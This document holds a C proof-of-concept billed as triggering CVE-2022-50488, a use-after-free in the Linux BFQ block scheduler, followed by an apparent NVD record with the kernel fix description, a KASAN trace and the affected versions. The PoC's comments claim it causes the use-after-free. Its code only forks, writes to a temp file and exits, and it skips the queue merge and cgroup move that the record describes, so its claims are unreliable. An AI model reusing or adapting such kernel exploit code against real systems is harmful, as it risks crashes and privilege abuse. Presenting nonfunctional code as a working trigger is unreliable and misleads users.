CVE-2022-50488

// CVE-2022-50488 PoC - Trigger UAF in BFQ scheduler // This PoC demonstrates the use-after-free vulnerability in bfqq->bic // Requires: Linux kernel 5.10.x, root or low-privilege access #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <pthread.h> #include <sys/mount.h> #include <errno.h> #define TEST_FILE "/tmp/test_bfq_uaf" #define BUF_SIZE 4096 // Step 1: Create two processes doing IO in the same cgroup void* process_io(void* arg) { int fd; char buf[BUF_SIZE]; memset(buf, 'A', BUF_SIZE); fd = open(TEST_FILE, O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("open"); return NULL; } // Perform IO to trigger BFQ queue creation for (int i = 0; i < 1000; i++) { write(fd, buf, BUF_SIZE); fsync(fd); pread(fd, buf, BUF_SIZE, 0); } close(fd); return NULL; } // Step 2: Trigger queue merge by having both processes access same file void trigger_merge() { pid_t pid = fork(); if (pid == 0) { // Child process - will exit to trigger BIC free process_io(NULL); exit(0); // BIC freed here } else { // Parent process - continues IO waitpid(pid, NULL, 0); // Now BIC is freed but bfqq still references it -> UAF process_io(NULL); } } int main() { // Create test file int fd = open(TEST_FILE, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd >= 0) { ftruncate(fd, 1024 * 1024); close(fd); } printf("CVE-2022-50488 PoC - BFQ UAF\n"); printf("Triggering use-after-free in bfqq->bic...\n"); // Trigger the vulnerability trigger_merge(); printf("PoC completed. Check kernel logs for UAF detection.\n"); unlink(TEST_FILE); return 0; }

{"cve": {"id": "CVE-2022-50488", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:45.707", "lastModified": "2026-03-25T00:30:57.577", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblock, bfq: fix possible uaf for 'bfqq->bic'\n\nOur test report a uaf for 'bfqq->bic' in 5.10:\n\n==================================================================\nBUG: KASAN: use-after-free in bfq_select_queue+0x378/0xa30\n\nCPU: 6 PID: 2318352 Comm: fsstress Kdump: loaded Not tainted 5.10.0-60.18.0.50.h602.kasan.eulerosv2r11.x86_64 #1\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.12.1-0-ga5cab58-20220320_160524-szxrtosci10000 04/01/2014\nCall Trace:\n bfq_select_queue+0x378/0xa30\n bfq_dispatch_request+0xe8/0x130\n blk_mq_do_dispatch_sched+0x62/0xb0\n __blk_mq_sched_dispatch_requests+0x215/0x2a0\n blk_mq_sched_dispatch_requests+0x8f/0xd0\n __blk_mq_run_hw_queue+0x98/0x180\n __blk_mq_delay_run_hw_queue+0x22b/0x240\n blk_mq_run_hw_queue+0xe3/0x190\n blk_mq_sched_insert_requests+0x107/0x200\n blk_mq_flush_plug_list+0x26e/0x3c0\n blk_finish_plug+0x63/0x90\n __iomap_dio_rw+0x7b5/0x910\n iomap_dio_rw+0x36/0x80\n ext4_dio_read_iter+0x146/0x190 [ext4]\n ext4_file_read_iter+0x1e2/0x230 [ext4]\n new_sync_read+0x29f/0x400\n vfs_read+0x24e/0x2d0\n ksys_read+0xd5/0x1b0\n do_syscall_64+0x33/0x40\n entry_SYSCALL_64_after_hwframe+0x61/0xc6\n\nCommit 3bc5e683c67d (\"bfq: Split shared queues on move between cgroups\")\nchanges that move process to a new cgroup will allocate a new bfqq to\nuse, however, the old bfqq and new bfqq can point to the same bic:\n\n1) Initial state, two process with io in the same cgroup.\n\nProcess 1 Process 2\n (BIC1) (BIC2)\n | Λ | Λ\n | | | |\n V | V |\n bfqq1 bfqq2\n\n2) bfqq1 is merged to bfqq2.\n\nProcess 1 Process 2\n (BIC1) (BIC2)\n | |\n \\-------------\\|\n V\n bfqq1 bfqq2(coop)\n\n3) Process 1 exit, then issue new io(denoce IOA) from Process 2.\n\n (BIC2)\n | Λ\n | |\n V |\n bfqq2(coop)\n\n4) Before IOA is completed, move Process 2 to another cgroup and issue io.\n\nProcess 2\n (BIC2)\n Λ\n |\\--------------\\\n | V\n bfqq2 bfqq3\n\nNow that BIC2 points to bfqq3, while bfqq2 and bfqq3 both point to BIC2.\nIf all the requests are completed, and Process 2 exit, BIC2 will be\nfreed while there is no guarantee that bfqq2 will be freed before BIC2.\n\nFix the problem by clearing bfqq->bic while bfqq is detached from bic."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.4.198", "versionEndExcluding": "5.5", "matchCriteriaId": "81CDA30E-0E3B-47FD-A824-FDDFD9CA4E3C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10.121", "versionEndExcluding": "5.10.175", "matchCriteriaId": "EE96C02B-0E0C-4E77-AAE6-4628568068A7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.46", "versionEndExcluding": "5.15.86", "matchCriteriaId": "491345B8-FB6A-428B-9FBF-F040E1C45FF1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.17.14", "versionEndExcluding": "5.18", "matchCriteriaId": "53441672-E856-4C9B-92DD-20B8133BE921"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.18.3", "versionEndExcluding": "6.0.16", "matchCriteriaId": "A4D8B69F-9B92-4C7C-8014-D16B7A22B0AA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.2", "matchCriteriaId": "77239F4B-6BB2-4B9E-A654-36A52396116C"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/094f3d9314d67691cb21ba091c1b528f6e3c4893", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5533742c7cb1bc9b1f0bf401cc397d44a3a9e07a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/ ... (truncated)